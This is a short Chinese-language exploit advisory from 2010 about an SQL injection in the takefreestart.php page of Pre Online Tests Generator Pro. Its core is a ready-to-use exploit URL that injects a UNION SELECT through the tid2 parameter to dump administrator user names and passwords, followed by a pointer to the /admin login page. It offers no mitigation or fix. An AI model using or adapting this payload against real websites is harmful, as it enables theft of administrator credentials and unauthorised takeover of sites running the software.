Pre Online Tests Generator Pro SQL Injection

发布日期：2010-11.14
发布作者：Cru3l.b0y

影响版本：未知
官方地址：http://www.preproject.com

漏洞类型：SQL注入
漏洞描述：takefreestart.php页面参数未进行严格过滤直接带入进行SQL查询，导致注入漏洞。

[+] Exploit :

http://target/path/takefreestart.php?tid=242&tid2=-1+union+select+1,2,3,group_concat(user_name,0x3a,user_pass),5,6,7,8+from+admin--&nxtq=true&q_no=1

[+] Admin Page: /admin
 

标签分类： SQL注入